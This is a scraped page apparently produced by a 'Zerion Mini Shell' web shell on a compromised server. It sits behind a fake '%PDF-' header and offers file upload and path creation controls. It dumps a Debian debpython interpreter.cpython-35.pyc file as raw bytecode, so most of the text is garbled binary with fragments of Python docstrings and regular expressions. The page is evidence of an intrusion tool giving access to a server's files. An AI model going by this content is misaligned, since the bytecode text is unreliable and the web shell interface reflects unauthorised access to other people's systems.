%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/share/python3/debpython/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/share/python3/debpython/__pycache__/interpreter.cpython-35.pyc



Nw�V�4�@s�ddlZddlZddlZddlmZmZddlmZddlm	Z	ej
dej�Zej
dej�Z
eje�ZGdd�d�ZdS)	�N)�join�split)�execute)�Versionz�
    (?:\#!\s*){0,1}  # shebang prefix
    (?P<path>
        .*?/bin/.*?)?
    (?P<name>
        python|pypy)
    (?P<version>
        \d[\.\d]*)?
    (?P<debug>
        -dbg)?
    (?P<options>.*)
    a-
    (?P<name>.*?)
    (?:\.
        (?P<stableabi>abi\d+)
     |(?:\.
        (?P<soabi>
            (?P<impl>cpython|pypy)
            -
            (?P<ver>\d{2})
            (?P<flags>[a-z]*?)
        )
        (?:
            -(?P<multiarch>[^/]*?)
        )?
    ))?
    (?P<debug>_d)?
    \.so$c	@sKeZdZdZdZdZdZdZfZiZ	ddddddddd�Z
dd�Zd	d
�Zdd�Z
d
d�Zedd��Zddddd�Zddd�Zddd�Zddd�Zddd�Zddd�Zddd�Zddd �Zdd!d"�Zdd#d$�Zdd%d&d'�ZdS)(�InterpreterN�pythonF�cpythoncCst�}|d=|d=t|t�rcx�|j�D])}	||	dkr3t||	�||	<q3Wnx|r�|jdd�j�r�|r�t|�|d<n@x=|j|�j	�D]&\}	}
||	dkr�|
||	<q�Wx*|j	�D]\}	}
t
||	|
�q�WdS)N�self�value�.��version)�locals�
isinstancer�keys�getattr�replace�isdigitr�parse�items�setattr)r	r
�path�namer
�debug�impl�optionsZparams�key�val�r�+/usr/share/python3/debpython/interpreter.py�__init__Es	"zInterpreter.__init__cCs�|dkri|ri|jd�r1d|jd<n|jd�rMd|jd<d|kr�d|jd<n$|d	kr�|dk	r�t|�}|dkr�|dkr�tt|�|j|<n
||j|<dS)Nrrrr�pypyz-dbgTrr
r)znamezimplzdebugzoptions)�
startswith�__dict__rrr)r	rr
rrr�__setattr__Zs
zInterpreter.__setattr__cCsL|jpd}||j|j�7}|jrH|ddj|j�7}|S)Nr� )r�_vstrr
rr)r	�resultrrr�__repr__js
	zInterpreter.__repr__cCs|j|j�S)N)r&r
)r	rrr�__str__qszInterpreter.__str__cCs_|jdkr|jS|rXt|�|jkrX|jrGdj|�S|jt|�S|jS)Nr!zpython{}-dbg)rr�strr�format)r	r
rrrr&ts	
zInterpreter._vstrcCsOtj|�}|siS|j�}d|krKt|dj��|d<|S)a�Return dict with parsed shebang

        >>> sorted(Interpreter.parse('pypy').items())
        [('debug', None), ('name', 'pypy'), ('options', ()), ('path', None), ('version', None)]
        >>> sorted(Interpreter.parse('/usr/bin/python3.3-dbg').items())
        [('debug', '-dbg'), ('name', 'python'), ('options', ()), ('path', '/usr/bin/'), ('version', '3.3')]
        >>> sorted(Interpreter.parse('#! /usr/bin/pypy --foo').items())
        [('debug', None), ('name', 'pypy'), ('options', ('--foo',)), ('path', '/usr/bin/'), ('version', None)]
        >>> sorted(Interpreter.parse('#! /usr/bin/python3.2').items())
        [('debug', None), ('name', 'python'), ('options', ()), ('path', '/usr/bin/'), ('version', '3.2')]
        >>> sorted(Interpreter.parse('/usr/bin/python3.2-dbg --foo --bar').items())
        [('debug', '-dbg'), ('name', 'python'), ('options', ('--foo', '--bar')), ('path', '/usr/bin/'), ('version', '3.2')]
        r)�
SHEBANG_RE�search�	groupdict�tupler)Zshebangr'rrrr~szInterpreter.parsecCs�t|p|j�}|jdkr-d}n@|td�>rJd|}n#|td�>rgd|}nd}|r}d|}|r�d	||f}|S)
a�Return path to site-packages directory.

        Note that returned path is not the final location of .py files

        >>> i = Interpreter('python')
        >>> i.sitedir(version='3.1')
        '/usr/lib/python3/dist-packages/'
        >>> i.sitedir(version='2.5')
        '/usr/lib/python2.5/site-packages/'
        >>> i.sitedir(version=Version('2.7'))
        '/usr/lib/python2.7/dist-packages/'
        >>> i.sitedir(version='3.1', gdb=True, package='python3-foo')
        'debian/python3-foo/usr/lib/debug/usr/lib/python3/dist-packages/'
        >>> i.sitedir(version=Version('3.2'))
        '/usr/lib/python3/dist-packages/'
        >>> Interpreter('pypy').sitedir(version='2.0')
        '/usr/lib/pypy/dist-packages/'
        r!z/usr/lib/pypy/dist-packages/z2.6z /usr/lib/python%s/site-packages/z3.0z /usr/lib/python%s/dist-packages/z/usr/lib/python3/dist-packages/z/usr/lib/debug%szdebian/%s%s)rr
r)r	Zgdb�packager
rrrr�sitedir�s	


zInterpreter.sitedircCs�t|p|j�}d|jkr*dnd}|td�krJ||St|�\}}|jd�su|d7}t|dd|dd
�|j|�|f�S)a�Given path to a .py file, return path to its .pyc/.pyo file.

        This function is inspired by Python 3.2's imp.cache_from_source.

        :param fpath: path to file name
        :param version: Python version

        >>> i = Interpreter('python')
        >>> i.cache_file('foo.py', Version('3.1'))
        'foo.pyc'
        >>> i.cache_file('bar/foo.py', '3.2')
        'bar/__pycache__/foo.cpython-32.pyc'
        z-O�o�cz3.1z.py�__pycache__z
%s.%s.py%sN����)rr
rr�endswithr�	magic_tag)r	Zfpathr
Z	last_char�fdir�fnamerrr�
cache_file�s
zInterpreter.cache_filecCs�t|p|j�}|j|�\}}|jdd�d}|rr|dj|�7}|rr|dj|�7}|jr�|jdkr�|td�>r�|d7}d	j|�S)
z5Return extension name with soname and multiarch tags.r�rz.{}z-{}r�3Z_dz{}.so)rr
�_get_configrr+rr)r	rr
�soabi�	multiarchr'rrr�ext_file�s
zInterpreter.ext_filecCsTt|p|j�}|jdkr8|td�>r8dS|jd|�}t|�S)zReturn magic number.rr=rz"import imp; print(imp.get_magic()))rr
r�_execute�eval)r	r
r'rrr�magic_number�s
zInterpreter.magic_numbercCsHt|p|j�}|jdkr8|td�>r8dS|jd|�S)z�Return Python magic tag (used in __pycache__ dir to tag files).

        >>> i = Interpreter('python')
        >>> i.magic_tag(version='3.2')
        'cpython-32'
        rz3.2rz import imp; print(imp.get_tag()))rr
rrB)r	r
rrrr8�szInterpreter.magic_tagcCs^t|p|j�}y|j|�\}}Wn)tk
rYtjddd�dSYnX|S)zReturn multiarch tag.zcannot get multiarch�exc_infoTr)rr
r>�	Exception�logr)r	r
r?r@rrrr@�s
	zInterpreter.multiarchcCsHt|p|j�}|jdkrD|td�?rDdj|j�SdS)Nrz3.2zabi{})rr
rr+�major)r	r
rrr�	stableabiszInterpreter.stableabicCs^t|p|j�}y|j|�\}}Wn)tk
rYtjddd�dSYnX|S)z�Return SOABI flag (used to in .so files).

        >>> i = Interpreter('python')
        >>> i.soabi(version=Version('3.3'))
        'cpython-33m'
        zcannot get soabirETr)rr
r>rFrGr)r	r
r?r@rrrr?	s
	zInterpreter.soabic	Cs�t|p|j�}d|kr<|jdd�\}}nd}tj|�}|s[dS|j�}|drudSt|d|�}|dr�dj|dd	|dd�|_|jr�|d
s�d|dp�dkr�d
|_y|j	�\}}Wn)t
k
r*tjddd
�dSYnX|d}|jdkrp|jd?rp|j
d�rp|dd�}|ds�|r�dj||dp�|�}|ds�|r�dj||dp�|�}|d7}||kr�dSt||�S)a�Return extension file name if file can be renamed.

        >>> i = Interpreter('python')
        >>> i.check_extname('foo.so', version='3.3') # doctest: +ELLIPSIS
        'foo.cpython-33m-....so'
        >>> i.check_extname('foo.abi3.so', version='3.3')
        >>> i.check_extname('foo/bar/bazmodule.so', version='3.3') # doctest: +ELLIPSIS
        'foo/bar/baz.cpython-33m-....so'
        �/r<rNrIr
�verz{}.{}rr�d�flagsTzcannot get soabi/multiarchrErrz3.2�module�r?r@z{}-{}z.soi����)rr
�rsplit�
EXTFILE_REr-r.rr+rr>rFrGrr7r)	r	r:r
r9�info�ir?r@r'rrr�
check_extnames>


%*	
	
+
zInterpreter.check_extnamecCs�t|p|j�}|jdks]|jdkrf|d?rG|d>s]|d?s]|dkrfd}nd}|d7}|j||�jd	�}ytjd
|d<Wntk
r�YnX|S)Nr!rz2.6r=z3.1zimport sysconfig as s;z%from distutils import sysconfig as s;zOprint("__SEP__".join(i or "" for i in s.get_config_vars("SOABI", "MULTIARCH")))Z__SEP__ZDEB_HOST_MULTIARCHr<)rr
rrBr�os�environ�KeyError)r	r
�cmdZ	conf_varsrrrr>Ks	

zInterpreter._get_configTcCs�t|p|j�}dj|j|�|jdd��}|rb||jjkrb|jj|St|�}|ddkr�tj	|d�t
dj||d���|dj�}t|�dkr�|d}|r�||jj|<|S)	Nz
{} -c '{}'�'�
returncoder�stderrz{} failed with status code {}�stdoutr<)
rr
r+r&r�	__class__�_cacherrGrrF�
splitlines�len)r	�commandr
�cache�outputr'rrrrB^s'
zInterpreter._execute)�__name__�
__module__�__qualname__rrr
rrrr^r r$r(r)r&�staticmethodrr1r;rArDr8r@rIr?rTr>rBrrrrr<s2
&1r)�loggingrU�re�os.pathrr�	debpythonr�debpython.versionr�compile�VERBOSEr,rQ�	getLoggerrdrGrrrrr�<module>s

Zerion Mini Shell 1.0